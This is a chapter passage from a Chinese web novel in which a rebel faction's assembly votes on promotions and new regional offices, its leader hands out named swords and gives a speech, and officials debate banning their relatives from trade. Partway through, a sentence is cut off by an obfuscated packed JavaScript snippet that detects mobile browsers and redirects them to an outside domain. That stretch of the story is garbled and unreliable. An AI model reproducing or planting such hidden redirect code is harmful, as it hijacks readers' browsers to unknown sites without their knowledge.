说着,便有十几名文书从侧门进来,将一些纸张发放了下去,连几位旁观的使者也各自拿到了一张,在那里蹙眉来看……纸上面的文字很简单,大概就是先说人事增补,然后是人事升迁、职务调整,然后部门调整,以及新帮规增补什么的,占了主要篇幅的,乃是几个候选人的名单和简历。 而别人不知道怎么想的,张世静只看一眼便满心无语。 因为人事表决拿出来本身就显得,这种人事难道不应该自决于内,然后直接下令吗?放到这里来论,便只是过场,也未免儿戏吧? 若是想用之人被否了? 到底算谁的? 头领们中也有一些有相关经验的人陡然紧张起来,倒不是因为这张纸,而是他们刚刚亲眼看到,大殿两侧,几十名文书都有几案和笔墨纸砚,正在摊开准备,却是瞬间意识到,从这次开始,大会上所有人的言行估计要记录在案了。 换句话说,所有人要为自己的表决和言行负责了。 不过,这类**嗅觉灵敏和经验丰富的人到底是少数,众人看了一会,反而是喧嚷的居多……这个说谁不该是大头领,那个担忧自己调到徐州,引得周行范当场瞪了过来,还有问新增的部里面有没有白金刚,白金刚会不会不许大家家里人经商的,结果一回头就看到身后坐着俩光头,也是愈发尴尬。 还是那句话,看上去就像是乌合之众。 堂内纷纷攘攘,角落里几位使节冷眼旁观,同时努力来听,但是忽然间,好像是私塾里进来塾师一般,又好像是菜地里跳出一只青蛙一般,一下子就安静了。 张世静等人抬眼去看,却果然见到张行带着一些帮内要害人物从一处侧门正进来。 许多人想起身,却见那位首席遥遥摆手,就把人压了回去,而且这个时候,后面侧门复又跟来十几个甲士,各自捧着一柄刀剑,好像什么仪仗一般立在侧门内。 正疑惑间,那张首席已经进入场中,立在中央位置,先趁着周围雄伯南几人落座的空档,四下来看了一圈。 凡被扫视到的人,俱皆肃然。 而张行见此,也只是笑了一笑,便也坐下。 于是这个时候,之前一直负责主持会议的魏玄定也终于起身: “诸位兄弟,本帮上次全帮大会开始时是八十八人,结束后增补了六人,到了九十四人,而后,李枢和崔玄臣被贬斥,又逃亡做了叛贼,尚怀恩头领临阵牺牲,贾务根头领与苗海浪头领力战被俘,实际员额应该是八十九人……今日到了七十八人,也就是跟上次比少了些淮南的兄弟,而登州的兄弟都已经回转,算是难得的人员齐备,自然也符合帮规三分之二员额的大会需求。不过,马上咱们就会有更多兄弟。现在咱们不要耽误时间,先开始人员增补……名单大家手上都有,大家举手来做定论,但这次我就不主持了,让大行台里的新人做主持。” 不得不说,魏玄定越来越熟练,也越来越从容了,众人也匆匆去翻那张纸,对上名单,结果听到最后一句,赶紧又放下那张纸去看是谁主持。 结果,只看到一名跟魏玄定年纪差不多的年长文士走上来,先朝周边躬身行礼,然后方才抬头,竟也丝毫不慌,丝毫不乱:“首席、诸位龙头、大头领、头领,在下是本次科考策论第二名欧阳问,现为大行台机要文书,发遣邺城行台魏公行事,今日议程由在下主持。” 下方稍晚耸动了一下,谁也没想到这群江都降人出现的那么快。 而大殿中央的欧阳问已经开始了:“人事增补第一项,军法部雄总管案,经计揽军功,有员秦宝,为首席主骑,领踏白骑,多有冲锋陷阵之举,平素攻无不克战无不胜,临阵破了东都四宝大将尚师生,更为殊勋,故当破格举为大头领……请大家举手……现在咱们是七十八人,依照帮规,须半数以上,也就是四十手方可通过。” 欧阳问四面去看,反复对照周边文书送来的统计,最终确定只有一个单通海没有举手,便立即报数:“七十七手,此案已过,请秦大头领入内圈入座……现在还是四十手为过。” 望着秦宝越过那连成一片的手臂往预留好的内圈座位落座,远端那几位使者中自然有人冷笑,但帮里这些举手的头领却有不少人心知肚明,秦宝的功勋是最清楚无误的,后台也是最硬的,大会人事表决从这位开始,本身就是个手段。 “王伏贝、程名起两位头领,在遭遇风灾后,带领十万流民、俘虏和登州五营兵归登州路上,劳苦功高,具有殊勋,东夷釜岭关副将刘延寿反正,立下殊勋,大头领白有思提案,王、程二位增为大头领,刘延寿增补为头领……” 这下子举手的人就少了许多,很显然,登州方面的军功不能说服其他方面的人,尤其是基本的领兵头领,都颇为不屑。 但是,登州、济北、将陵三行台作为此次登州军折返东夷的行动参与者,倒多是明显支持,而更重要的是,已经有人看出来了,大行台,以及大行台所在地的邺城行台,合计近四十位大小头领的存在,却是形成了一个基本上能决定举手走向的新-巨大**实体。 “六十一手,过。” 王伏贝与程名起越过外圈,来到里面,一年辛苦,终于有了回报,而刘延寿也战战兢兢寻了个靠外的座位赶紧坐下。 而这个时候,外圈与内圈的比例已经没有那么大了,基本上二一的样子,只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168003|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,内圈最里面一层,一位首席,三位大行台副指挥,五位龙头,则明显给里圈的人又做了一次分层。 “还有一位窦……窦小娘,任职巡骑营,漳水突围立有殊勋,考虑年龄,上次大会未提决议,这一次谯郡修建医院、医学院,她全程负责后勤协调,算是多有建树,加上年龄已到,单龙头提案,当增补为头领。” 跟前两次不同,下方议论声立即响起。 而欧阳问在周围文书的协助下统计完毕后,明显有些吃惊:“四十九手……之前是八十整人,须过四十一手,已经过了此数……请窦头领入座,现在开始,需要过四十二手方可通过。” 窦小娘明显有些委屈,而在内圈坐着的窦立德也有些无奈,他知道,不光是年轻和女性这两点,关键还是自己连累了自家女儿……小娘的功勋上次就可以了,当时就担心这个,结果在张首席专门给了小娘医院这个功劳后,还是差点没过,只能说自家一家三口加大舅子全是头领,越来越引的一些人不满了。 其实,窦立德也听过一些其他的言语……有传言说,张首席是故意抬举曹氏兄妹跟窦小娘,外加刘黑榥,就是要让他众叛亲离。 但这话未免离谱? 抬举自家至亲,怎么就能起到离间作用呢? 若论帮内权衡,这几个亲近的人再怎么抬举也过不了自己的方面龙头吧?既抬不过,自家还是高鸡泊的首领,甚至是整个河北义军山头的头领;而若论亲疏关系,反倒是之前家庭素来有些不睦,如今安泰了不少。 且不提众人如何胡思乱想,窦小娘到底是坐了下去。 “张首席案,有员高金刚,行事谨慎淳朴,素有建功,补为头领……四十六手,过。” 好嘛,又多了一位光头头领,十三金刚会不会全进来? “还有一案,魏玄定魏龙头提议,以科举为常例,两至三年一行,各科总揽第一者,直接加头领,故提案本次科考第一萧余为头领……六十五手,过,请萧头领入座。” 即便是这一次,赞同的也比窦小娘赞同的多。 而接下来则是另一个影响巨大的一揽子人事方案: “首席提案,江都军变,大魏……大魏实际灭亡,过程中多有立下殊勋的反正功臣,当择贤则重使用,建议以前大魏北衙都督、宗师牛河为大头领,前赵郡太守冯无佚为大头领,前北衙都督余烩为头领,前大魏齐王曹铭为头领……还有早就被临时署任头领的前大魏中书舍人虞常南、前禁军郎将白有宾,也要正式录入。” 这个提案引发了殿内骚动,许多人都回头去看那群等在外围的人,欧阳问自己也热不住去看……说到底,这里所有人都是在大魏名号下长大的,都是大魏的官吏和百姓,别看张行之前一套一套的,什么大魏亡了就亡了,大家也亲身经历了许多相关事宜,但是所有人还是忍不住会在意这些皇帝、亲王、太后、公主、宰相、督公们。 与其说,他们是在意对方的将来,倒不如说是在在意自家的过去。 而且,无论如何,多一位宗师,多了河北名门冯氏的投效,总还是能让人安心的。 当然,也有人心情沮丧到了极致……坐在一侧几案后面奋笔疾书的封常,脑袋就嗡嗡作响,即便他早就知道自己因为擅自串联和乱说话的缘故被排除出了这次晋升,但事到临头,看到虞常南那些人从容落座,也还是沮丧至极。 “七十三手,已经过了,咱们继续审议人事……之前秋收时,陈总管提出了一个建议,乃是要不论殊勋只谈优勤,从舵主这个层级选一位平素表现良好的帮内骨干,于年底提拔,以为常例,首席已经批准。但现在是徐世英徐总管推荐了一位军中队将西门大郎,陈斌陈总管推荐了一位王翼部参军慕容正及,一起经大行台送到了张首席案前……两人的履历在会议纪要上都有,大家看一看,待会选出来……这个不是要过半,只要举手支持谁的更多,就可以了。” 这件事也立即引发众人议论,他们早知道有提拔人这回事,看到纸上简单介绍还以为是两人一起提拔呢,现在居然是二选一……二选一倒也罢了,甚至这个头领归谁也都无所谓,关键是陈总管怎么又跟徐总管打起擂台来了? 这不是逼着大家站队吗? 而张世静也没忍住,主动来问身侧的慕容正言:“慕容将军,这是你家的子弟?” “渤海同族。”慕容正言微微皱眉。“应该已经进入黜龙帮两三年了。” 张世静若有所思,连连颔首。 过了片刻,在张行示意下,欧阳问便开始催促举手。 “赞同慕容正及的二十三手,赞同西门大郎的三十五手,请西门大郎入座。”欧阳问倒还好,他现在来不及多想,但他周围的那些龙头、总管们却明显对这个结果也有吃惊。 只能说,帮里还是河南人力气足一些,领兵的更团结一些,但也有可能是陈斌的位置太遭人嫉了,实际上,陈总管的脸色已经有些发黑了,只是外圈人看不到而已。 眼看着最后一位新头领入座,欧阳问稍作提醒与陈述:“诸位头领,现在九十整位列席头领,其中大头领以上三十一人,咱们继续审议提案……再往后,若是立法、立帮规,有争议的,便是要四十六手朝上才能过;而若是其余的规制设计、人事调度有了争议,那就是头领们旁观,三十一位大头领中的十六手便可过。 “现在还有一事要做通报,李枢叛帮而走,十恶不赦,崔玄臣以帮外身份协助,是敌非友,二人悬赏已发,但要这里做一次人事通报……不必举手。 “此外,雄总管议,拆分徐州总管州为东海、下邳、彭城三郡,并于徐州设立新行台,下辖以东海、下邳、琅琊三郡,以大头领牛达领行**政指挥兼下邳太守,加龙头,以周行范大头领与王厚大头领为副,分别兼领东海太守与琅琊太守,带兵头领为牛达、周行范、王厚、苗海浪、左才相,计五营兵,其中一营海军,另许设立四营戍卫营,以防守海疆为主,兼支援淮南、淮西。 “八十三手……过。” 这是一个后方的行台,而且也代表着黜龙帮并不准备掉头去吃淮南,这让淮南派出的代表辅伯石既松了口气,又有些发自内心的哀叹。 “单通海单龙头议,设新行台于谯郡,领谯郡、彭城郡两郡以及梁郡东三县,以大头领伍惊风为行**政指挥,加龙头,以大头领王焯为副,设领兵头领伍常在、诸葛德威、白有宾、孟啖鬼、余烩,合计七营兵,并许招募三营戍卫营。其中,诸葛德威兼谯郡太守,余烩兼彭城太守。 “七十二手……过。” “白有思白大头领议,以登州为总管州,以大头领程知理为登州总管,署军务;头领房敬伯为副,署政务。领兵头领为程知理、刘延寿、范望、郝义德,计四营兵,许设四营戍卫营。 “七十三手……过。” “张行张首席议,大行台增设靖安部、人事部、监察部,以白有思为靖安部总管,执掌帮内帮外安全事务;以钱唐为人事部分管,专职头领以下人事调配与流程;调白金刚为监察部分管,专职监察帮内头领违法违规;补阎庆为军情部分管,专职军情打探与修行者管理;补高金刚为玄道部分管…… “六十六手,过。” 话到这里,欧阳问稍微往自己手中的长长文稿下方一扫,转身便与魏玄定低声说了些什么,魏玄定再与张行言语几句,也站起身来,做了宣告:“诸位兄弟,接下来的议案分两类,一类是大头领们商讨的架构安排,一类是需要大家讨论的新帮规,都比较耗费精力,大家不妨先歇一歇,等一两刻钟,正好首席有事要说。” 众人原本已经准备起身去交流之前的议案了,听到最后一句,反而更安静了。 而张行站起身来,依旧是四下看了一圈,便笑了起来: “诸位兄弟,耽误大家一些事情,我这里忽然想到一事,要借这个场合来做,还望大家谅解。” 周围嘈杂声微微起来,复又落下……因为众人看的清楚,张行伸手一招,一名甲士立即上前,将手中所捧的三尺刀奉上,张首席接过来,直接拔出刀刃,也不用借四面光线,只是稍微用了一些真气,便见一股青光宛若青水一半从刀身上荡过。 于是,所有人都知道,这是一柄宝刀,难得的宝刀。 “此刀是近日锻刀大赛的一个结果,我给它取名唤作青冥,如今已经铭文配鞘……”随着张行开口,在座几乎人人醒悟,不由呼吸粗重起来。“张公慎张分管何在?” 在包括远端侯君束在内许多人的复杂目光中,有些措手不及的张公慎自后方座位中起身,有些慌乱的往前去,接过此刀。 而张首席则趁势挽住此人,继续取来第二把,却是一剑:“此剑名为白虹,马围马分管何在?” 马围明显一愣,也只能赶紧起身,来到中央去接刀,然后在张行示意下立定……这个时候,所有人的注意力都放到了那些甲士身上,大家远远去打量那些刀剑的形状,计算刀剑的数量。 “第三把是一刀,唤作真刚,白金刚白分管何在?” 白金刚缓缓起身,周围人面露惊疑,毕竟这次大会关于这位的传说可是颇多,尤其是他还刚刚做了什么监察部的分管。 “第四把又是一剑,唤作祛邪,张金树张分管何在?” 张金树大喜过望,匆匆起身来接。 “第五把还是一刀,唤做百炼,阎庆阎分管何在?” 阎庆不慌不忙,不惊不乱,径直来接。 “第六把是剑,唤作瑞雪,谢鸣鹤谢总管何在?” 谢鸣鹤虽然不屑这些,但早已经养成气度,便从容去取。 这个时候,待六人各自捧起刀剑,张行方才环顾四面,扬声来告:“诸位,有些人勤勤恳恳,平日不露锋芒,但其实是外拙内锋,所谓当谦得谦,当刃得刃,这样的人才既不是凡俗武夫,也不是寻常朽吏,而是可当倚仗的英杰……这便是这六位的品性了。” 说完,兀自鼓起掌来,周围人不敢怠慢,纷纷鼓掌应和。 六人性格不一,如张公慎素来持重,此时只抱着刀剑面色发红,白金刚也只是这般谨慎,而且颇为警惕;张金树倒是志得意满,四面举刀展示,引得刘黑榥在下面跺脚;阎庆和马围倒是盯上了谢鸣鹤,学着后者从容挂剑,然后按剑展示。 最后,六人便如之前授勋时那些人一般,朝张行一鞠躬,便昂然走回座中了。 而张行这边已经招手要第二批甲士过来了。 刀鞘一拔,真气拂过,刀身白光一闪,也不晓得哪里好,而张首席已经喊人了:“此刀名为百里,苏靖方何在?” 有了上一批人的榜样,苏靖方从容许多,他起身离开座位,来到中间,先不接刀,而是向四面拱手行礼,又向自己兼恩师兼**领袖李四行礼,最后才向张行行礼,接过刀来。 紧接着,韩二郎取了含光剑,王雄诞取了掩日刀,贾闰士取了长鸣剑,马平儿取了赤霞刀,窦小娘取了火精剑。 “此六把刀剑便是极快极利。”张行再来解释。“我将它们赠与这六人,乃是说,有人虽然年轻,却天赋异禀,乃是少见的千里龙驹,盼着此六人一日千里,迟早为黜龙帮的骨干。” 这个时候,不用张行带头,大家已经鼓掌,也晓得了,上一批是对大行台里辛苦又妥当的一批人进行表彰,这一批是勉励年轻人,却不至于平白妒忌了。 而接下来,张行继续取来长剑:“此剑名为夺魂,刘黑榥刘大头领何在?” 刘黑榥跳将出去,昂然取了此剑,甚至当场拔了出来,以做展示,弄得胸前铜牌叮当作响。 随即,周行范得了抗志,贾越得了惊魄,王振得了行威。 四人俱是帮内勇悍之将,只是徐师仁和王叔勇居然没有得此剑,不免让人不解。 但很快,张行便取出一把新刀:“这是最后一批刀剑了,一共是七把……徐师仁徐大头领,这柄剑名为工布,不争不露,却削铁如泥,堪称帮之大用,请受此剑。” 徐师仁松了口气,赶紧上前感谢,但没过多久他就愕然乃至慌张了。 “此剑名为纯钧,浑然一体,大巧不工,正合窦龙头来用。” 窦立德就在旁边,赶紧起身来谢。 “此剑名为照胆,剑身挺拔,无坚不摧,乃是英锐之剑,合王五郎来配。” 王叔勇已经等了许久,早就不耐烦,此时闻言,自然振奋,尤其是此剑描述,正得他意,也是毫不犹豫,起身受了此剑。 “此剑名为巨阙,剑身浑厚,锋重并存,乃是威风之剑,合单龙头来配。” 单通海之前冷眼看张行收买人心,心中不屑,但眼见着配到自己这个层级来了,却还是不免有些不安……毕竟,若是其他人都有了,就他没了,虽说是一起丢脸,可也不爽利……此时听到这个,一面是松了口气,一面也重新端起来,慢慢起身踱步来接。 “此剑名为湛卢,毫无杀气,却可明鉴室内,洞察人心,该与雄天王来配。”张行笑了笑,回头继续取剑。 雄伯南没想到还有自己这一遭,再加上落龙滩受伤后虽然修养妥当,又怎么可能一下子回到原本的状态,到了此时方才微微有了些生动表情,便也含笑起身来接。 “此剑名为定国……”张行犹豫了一下,没有解释,直接看向李定。“李龙头,望你持此剑定国安帮。” 李定深深吐了口气出来,缓缓起身,接过此剑。 “最后一把剑名为泰阿,泰阿即天下,天下既泰阿。”张行取下最后一剑,而此时,堂中早已经鸦雀无声。“陈总管在大行台实际总揽庶务,日理万机,掌握兴衰,正该来持泰阿。” 陈斌心下一动,之前所有的负面情绪,全都消失不见,只是昂然起身,甩了下红色军衣其实并不存在的宽袖子,然后郑重接过此剑。 周围还是寂静无声……因为这七把剑明显太重了,尤其是泰阿。 更何况还有一个徐师仁也混进了里面,虽说这次赐剑是安抚人心的,不少得了升迁的人反而不好列入其中……如牛达、伍惊风、程知理什么的,但还是显得有些不够分量,以至于有些人一直想问是不是张行把徐世英跟徐师仁弄混了,然后将错就错? 不过,也有人想起什么,心知肚明,徐大郎那里其实是有一把原本属于张首席佩剑的,据说还是惊龙剑,而白有思白总管那里,其人手中所谓倚天剑更是刺过真龙的,却也不必。 所以……这徐师仁莫非要被抬举上去了?打了河间,再起个行台,他做龙头指挥? 可徐师仁到底是个后来的,算是半个降人,降人也能做龙头、起行台? “诸位。”张行此时已经回身来指,声音宏亮。“这七剑,不能说是咱们黜龙帮的根基,咱们黜龙帮的根基素来是东境河北淮北诸地的百姓,是数十万基层帮众,是今日殿中所有人……但是,有根基也要有锋刃,有众也要有首,这七剑却正是咱们的领头人!兴衰进退,屠龙定势,便是他们领着咱们去做的!反过来说,有这七位做领导,有几十个郡的军民做根基,又什么事情咱们需要怕? “之前说歇息几个月,就有人不安起来,尤其是什么人做了皇帝,谁娶了个媳妇,谁认了个干儿子,居然都要当回事?可要我说,他们算个屁呀?!” 下方哄笑声起,在带有回音的大殿中回荡起来,而那几位使者,早已经面色发白。 “为什么可以不在意他们? “因为那些人,不过是欺世盗国之辈!他们的地盘和人马,全都是以大魏臣子的身份篡出来的,甚至是偷来的,哪里像我们这般,是从济水边上王五郎家中一个小庄子里,亮起反魏的旗号,一个县一个郡,一个乡一个里,自己打出来的?他们那些人,又要收买人心,又要建制立规,打败了仗担心少了嫡系兵马,打胜了仗还要担心有人**! “咱们有这种事吗?咱们的人是自己的人,咱们的兵是自己的兵,最大的破事就是河南人嫌弃一下河北人,河北人骂一下河南人!然后担心一些头领初次掌权,鬼迷了心窍,多开了几家铺子,如此而已! “便是不考虑这些,咱们的地盘也已经足够雄厚了,咱们的兵马也是最强壮的! “非说担心,也只该这天下其他各家来担心我们!担心我们破其国,杀其众!担心我们扫荡**,不给他们留半点立足之地!担心我们破旧立新,打造一个是全新的天下,让他们沦为与曹彻那般史册经书众里的丐丑!” 言至于此,下方早已经压不住轰然之态,不少军中将领直接鼓噪起来,敲凳拍案,不一而足……也不知道是本性如此,还是表演欲过强。 而远端角落里旁观的几名使者,面色各异,心情不一……别人不好说,张世静却是觉得,如此来看,这张行还是有草莽豪杰气质的,做个草莽皇帝也能装个样子,可是为何不做呢? 过了好一阵子,殿中气氛稍安,那七位持剑者也已经落座,而张行也重新开口:“诸位,我刚刚听到你们鼓噪,有说不过年的,马上就出兵;还有说首席现在做皇帝的……” 话到这里,明显是触发到了关键词,四周原本还有的一些杂音忽然消失不见,众人只屏气凝神。 “我这里给大家一个明确说法。”张行微微眯眼。“首先,大家都要回去好好过年,不但要过年,来年还要春耕后再出动……而且,过年的时候还要好好过,每个领兵头领都要去自家营中兄弟家里走一走,看他们过年有没有给闺女买二尺红头绳,没买的,你们要替他们买!地方官员就更忙碌,既要确保年关物价不能腾涨,又要连结春耕,还要准备春耕后出兵后勤事宜! “至于说皇帝,我明白的说,不是不能做,但要两个前提:一个是天下一统,不然的话,只打了天下四分之一五分之一的地盘,就惶惶急急做皇帝,是要被人笑的,就好像我今日笑白横秋;另一个,即便是做皇帝,那也是我以首席的身份出任,就好像我现在以首席的身份做大行台一般,也是要大家举手通过的。 “而若是不做皇帝,就是以这个首席和大行台的身份,看着兄弟们取了天下,安了四海,那谁又敢说这个首席与大行台不比皇帝珍贵?!” 满殿凛凛,无人做答。 而不待众人反应过来,张行便已经坐回原处。然后,正在发懵的欧阳问便在张首席的示意下仓促开始了下半场。 PS:推书南宋之基建狂魔。 第四十九章 千里行(3) 第509章千里行(3) “诸位,张行张首席议,因帮内事务增多,军外头领明显,改军法部为帮务部,依然以雄伯南为总管,除军功计算赏罚外,增添帮内头领功过赏罚以及执行……此案是大头领以上举手……可以先举手议论……无人要议吗? “三十一手,过。” 就在这时,外圈的头领忽然有人呼喝起来,一开始有人没反应过来,想起是什么后,也赶紧跟上,引得殿内使者和新加入的头领们惊疑不定……却又马上意识到,这似乎是一种类似于鼓掌的赞同表态。 “诸位,张首席案,更改大行台制度,设立负责制。 “如监察部、军情部和内务部可以向靖安部负责,地方出现特大刑案也可以通过巡骑营向靖安部求援;如王翼部、屯田部、军情部,各野战营、卫戍营,要向军务部负责;但是所有大行台内事务,都要向文书部负责;所有帮内头领,都要向帮务部负责;所有大行台外部事务,地方行台,军政法度,都要向大行台本身负责…… “专门要说的是,这种负责制度并非是单一的,譬如军情部,军事侦查方面是向军务部负责,而其中修行者的统计与安置才是要靖安部汇报。而出现刑案,肯定也要向地方和刑律部走文。 “张首席说,此类改革,是为了方便集权与分权,确保事情快速解决,又避免个别**责过大,出现李枢故事,给帮里带来**烦……而且,也不是一定要特定的部向另一部负责,具体还会因地制宜,因时而变,关键是要立好这个制度,做后来的榜样。 “此案,依然是大头领举手,但要先行讨论,有要发言的大头领,请有序开口……” 这是一系列绕口的表达,但意思很清楚了,要集中和梳理大行台内部权力架构,然后总体上加强大行台的权责。 “靖安部是否权责过大?”单通海开门见山。 “靖安部就是靖安台。”回应单通海的,居然是李定。“相比较靖安台,靖安部其实权责还少了些……最关键的是还没有组建成建制的修行者巡骑……没有这个,何谈权责过大?” “不错。”窦立德也发言提醒。“只要还在打仗,修行者肯定要放在军中,没有这个,靖安部就跟靖安台差了几层,便也称不上权责过大。” “可要是这样的话。”单通海似乎还是不满。“那要靖安部有什么用吗?只这几个部不就行了?” “因为需要有人抓总合力,譬如遇到有要害人物再如李枢那般搞叛乱,而且还带了兵,里面还有修行高手,只一部一营是无法处置的。”白有思忽然插嘴。“若对上这类人,帮中便只我一人有此经验与修为……此部非我莫属。” 单通海立即闭嘴,他老早就跟程知理一起见识过白有思的剑……外围更是安静。 “那我也来问一句。”半晌,程知理忽然开口。“监察部跟帮务部,是不是有些重复了?” “监察部顾名思义,是监督和调查,没有处置的权力,白金刚白头领也没这个本事去处置头领;而帮务部反过来,天王是处置这些人的最佳人选,却没那个时间和精力去监督和调查。”谢鸣鹤眯着眼睛回应道。“除此之外,还要加上刑律部制定律法,处理文案,才能确保大家不徇私,也能让人服气……更不要说,帮规是帮规,国法是国法,不是一回事……譬如有些人没有犯法,却违了帮里的规矩,也要处置的。” “那我知道了。”程知理略显不安。 “还有人要议论此案吗?”停了一会,欧阳问认真问道。“那好,请诸位举手吧……二十五手,过。” 外圈再度呼喝一声,而且整齐了不少。 “张首席案,陈斌、雄伯南、徐世英三位副指挥,实际负责帮内庶务,劳苦而功高,应该名副其实,当加帮内龙头阶级。” “我反对。”徐世英第一个开口。“我们这个职务,其实是管着整个帮,几十个郡,几十个营的,权力极大,若是再加上这个位分,不免显得强势……我意,龙头这个说法,就留给地方行台专用,大行台这里,大头领、头领就足够了。” 此言一出,陈斌雄伯南各自也都发言推辞。 张行犹豫了一下,晓得必须自己开口,便也出言:“既如此,我就撤了这个议案。” 欧阳问点头,继续了下去:“既如此,此案撤回……徐总管案,明年内淘汰五名旧日领军者,转为地方戍卫,有才情者经过讨论可以转为文职……除了新立的两个行台和登州总管州,其余四处行台,加上一个大行台,都要各自淘汰一人……” “我反对。”还是单通海第一个发言。“我不是反对淘汰,我知道这个议案的来历,咱们黜龙帮一开始建帮的时候,有兵就要用,有人就要领兵,现在确实有人跟不上,反而是一些新人、降人里明显有拔尖的,偏偏首席不愿意大肆扩军,那就总得有人走……可是为什么要每个行台去做淘汰呢?不该仔细考虑各营的战绩和这些头领的能耐吗?每个行台汰一个,会不会让有些人蒙混过关,有些人又受委屈呢?” “问的好。”徐大郎接过话来,不慌不忙。“我一开始也是准备如单龙头想的那般公平淘汰的,但恕我直言,若是让我来定,反而是济水上游出身的老兄弟要多淘汰一些……可这样的话,会不会伤了老兄弟的心呢?何况,首席之前就说了,要把老兄弟的资历当成功劳来算的,这就更不好直接淘汰了。” 单通海愣了一下,方才醒悟对方是什么意思,敢情如果让他徐总管来按照才能淘汰的话,自己这个济阴老行台里,居然是淘汰最多的了? 他刚还要再说什么,身后翟谦猛地开口:“那就这样吧!首席愿意照顾脸面,咱们不能不识好歹!” 话里还有怨气的,但也确实是主动认了。 “我也觉得可行。”窦立德瞅着不好,干咳了一声。“其实得认一件事,只看资历是万万不行的,我们这边有许多河北义军,其实也不行……首席这般安排,也是给他们面子。” 众人沉默下来,过了好久,欧阳问才来言:“如此,请诸位举手。” “二十四手……过。” 又是一声呼喝。 而呼喝声后,欧阳问明显卡了一下,不知道是口干舌燥,还是下面的内容让他有些吃惊:“陈总管转头领白金刚案,帮内头领不分家同族之内,或分家三代血亲之内,不得经商,不得营矿,若有此类,形同**。” 同样,不知道是累的还是内容有些让大家吃惊,殿中一时无人开口,无论是内圈的大头领们,还是外圈的头领们,全都安静如鸡。 过了片刻,外圈才稍有骚动……他们其实早就听说了白金刚的事,早就听说了相关议案传言,但委实没想到这位这么狠! 要知道,均田制下,尤其是前几个月单通海还带头将起事前的庄子奉献了一些出来,再不让经商买铺子,全家那么多张嘴,怎么活下去呀? 但是,这首席刚刚赐了白金刚剑,刚刚让他转任了权责更大的监察部,好像刚刚还在说,帮里最大的毛病就是买铺子……这,这莫非是要赞同白金刚吗? 又过了一会,主持会议的欧阳问无奈,只能追问:“无人发言吗?” “大家觉得如何?”张行忽然开口。“程大郎,你觉得如何?” 程知理一个激灵,差点跳起来,乃是强行压住,然后硬着头皮发言:“头领们让家人经商、占矿是个**烦,因为钱财这个东西最动人心,一旦贪了,就止不住自己,止不住自己就要用手里的权甚至兵去做争抢,那就跟之前大魏那些贵人们强取豪夺没什么区别了……确实要管一管……但是……” “但是如何?”张行面无表情追问下去。 程大郎晓得今日这锅必须得背,谁让他身上这类屎沾的最多呢?而且作为当日讨论过这个问题的当事人,也算是晓得张首席心意的。 停了一下,其人继续辩解道:“但是,人心都是肉长的,都喜欢吃好穿好的,人欲本是天理,若不让大家的家里人经商,便要让头领们俸禄充足,否则谁来做头领?有本事都要去做商人了!更不要说,我们还在争天下,连钱都不给够,凭什么人才要来邺城,不去长安?所以,我的道理是,要划出道来,不许这些头领家人强取豪夺,让这些头领的亲眷晓得有度,却不能直接禁止经商!” 张行点点头,却不出一言。 程大郎无奈,只能四下来看,等其余人开口,偏偏又无人愿意掺和此事,场面一时僵在这里……而就在其人尴尬到无奈之际,雄伯南看不下去,主动搭了一句:“要不让白金刚破例来做辩论?” “也不是不行。”陈斌接过话来。“白金刚,是你向我转呈的议案,现在程大郎驳斥,你上前来,说清楚道理。” 白金刚丝毫不慌,直接按着之前张行的赐剑“真刚”走上来,然后环顾四面,却根本不看程大郎,只对周围大头领来言: “诸位,我以为程大头领所言荒谬,他自家都说了一旦动了贪念便与大魏那些贵人无二……而大魏的贵人是什么人,别人不晓得,我们这些被他们素来欺压的人不晓得吗?若是帮里全是那种人,什么大业都不要指望,因为便是一时成了事,咱们黜龙帮也要跟大魏一样二世而亡的!” “而按照程大头领的另一个意思,若是因为咱们摒弃了他的天理,便招不到豪杰,那敢问这种豪杰又是什么人呢?为了钱过来的豪杰,别人给的钱多,马上就叛了!便是不走,怕也是想贪得更多! “我的道理就是这么简单,起了贪心的人便是有害无用!届时只会坏了大局,毁了帮中根基!早早撵出去才对,更不能主动招揽!而若是将这些人撵出去,帮中事业只会日益强盛,决不会倒塌! “至于今日提议,正是要断了一些还可挽救之人的贪念,本意也是要救人,救帮!” 白金刚憋了数月,此时奋力一吐胸中块垒,周围人则悚然一时,不知道多少人从听到二世而亡开始面色发白,程知理更是懊丧到了极致……他当日怎么就想不到,有些话有些事在私下是一回事,上了这个会又是另一回事呢? 非只是对号入座的一些人被吓到,就连原本觉得白金刚过于激烈的一些帮内支柱,一时也都有些不安。 半晌,再度打破沉默的雄伯南居然点了头:“白头领说的是有些道理的!首席,你怎么看?” “我还是觉得有些激烈。”张行叹了口气,也引得内圈外围许多人松了口气。“不过,他们二人的讨论,倒是让我想到了一些事情……我在东都,亲眼见过皇帝的姐姐,轻易拿手段掏了半个东都的金银,坏了东都人心……曹彻那个姐姐,已经曹氏名声较好的贵人了,尚且如此。” “既到了这个份上,就得讲一些超凡脱俗的道理。”单通海忽然开口。“我倒是觉得,白头领说的是有些道理的,但现在的头领们几乎人人经商,强要不许,会出乱子……要不改一改,龙头和大行台内总管的家眷不许经商?毕竟,既做了龙头和总管,就要拿出点正儿八经的气魄来!而若是论身份贵重,咱们能到这个份上的,其实就是张首席刚刚说的皇亲国戚了。” 不少人都心动。 “可也不能放任头领一层不管。”白金刚严肃驳斥。 “让所有头领都出示家产如何?”程大郎抢到机会,赶紧来言。“就如白头领说的那般,三代人亲眷,或者没分家的全族资产,每一年年底都要出示给帮里,涨的离谱,便让监察部去查,出示的不实,直接罢免到底!” “头领出示家产,龙头跟大行台的副指挥不许经商……怎么样?”窦立德立即做了整合,向白金刚来问。“白头领,有些事情真不能一蹴而成,这不是夺陇比赛!帮里刚刚起事的时候,领兵头领都是黑道做走私的……要是按照你的道理,整个黜龙帮都不该有。” 白金刚微微一怔,外围也是再度议论纷纷……这样也不是不行。 “还是不行。”白金刚想了一想,缓缓摇头。“只出示家产不足以起到约束作用。” 